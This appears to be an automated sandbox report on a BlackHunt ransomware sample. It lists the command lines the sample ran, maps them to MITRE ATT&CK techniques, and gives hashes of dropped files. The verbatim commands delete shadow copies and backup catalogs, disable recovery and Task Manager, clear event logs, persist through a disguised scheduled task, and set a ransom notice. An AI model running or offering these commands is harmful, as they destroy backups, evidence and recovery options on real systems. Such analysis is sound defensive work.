  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe" /F
  2⤵
  PID:1992
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1500
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:472
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2924
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1484
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:952
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1324
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2428
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1540
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1668
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2424
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2096
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2284
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2672
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:1708
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1668
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2868
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2524
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2332
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1704
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3068
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1476
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1296
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:556
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:292
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2400
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2500
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2020
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe"
  2⤵
  - Deletes itself
  PID:1728
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3060

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "303546149-292039673-4706666112074116444-15773394551357216334745973496-1618546684"
1⤵
- Modifies registry class
PID:2596

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2760

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2428

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1932

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
f53ea149aca7040c226c2ea87f40f565

SHA1
b7cc84c69adf6a245aa60f3cbae63d3b0779b7ac

SHA256
d06f4c1beab0bca224627d2e51b9e7336db33c5f69733521dfccb4638b140368

SHA512
71e08304418c100090b32cf31200c701e7c4ea0f17751b55d90fb35b0a92fb02313770e3c0398d038fe1e23b1c198af243e13d6db2ed38ac3776f1402e33fb5f

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
bdb5ec00123a8bf9626f8545e2a42e1d

SHA1
2f751e4645d31f8a86d3b7a5d6783c2e70b263cd

SHA256
85a737b4898a5034516317ecaa7126f51a4b893ed5ea9ab644396d8ce313d246

SHA512
81d4f5922985c7f32e3a76ca4c581132e3edaaccea63bb1cd3e01bc717339e0b728bb7e72b878de8ede33f05996b22628432848a232649bb5d60c810273efc42

Download Submit
\Device\HarddiskVolume1\#BlackHunt_Private.key

Filesize
1KB

MD5
e6763a758e182a7e12cf4b700630d196

SHA1
46a71934ce11a0e39533042b56017e9f5db6de0a

SHA256
a10044772cc7bdf65d0dc6755a0355d7026a0d41ad5e79d38de10d6bdb8c907d

SHA512
4cd3b3a2ccd5c70ed122d426a3ea3bbfc3f46bdf87d177c56f72003cb152101640b9a5b46cdcfa47b9c3db8a0ea2f2e5d3c5766570daf0b66e7ff803fff7fd9e

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads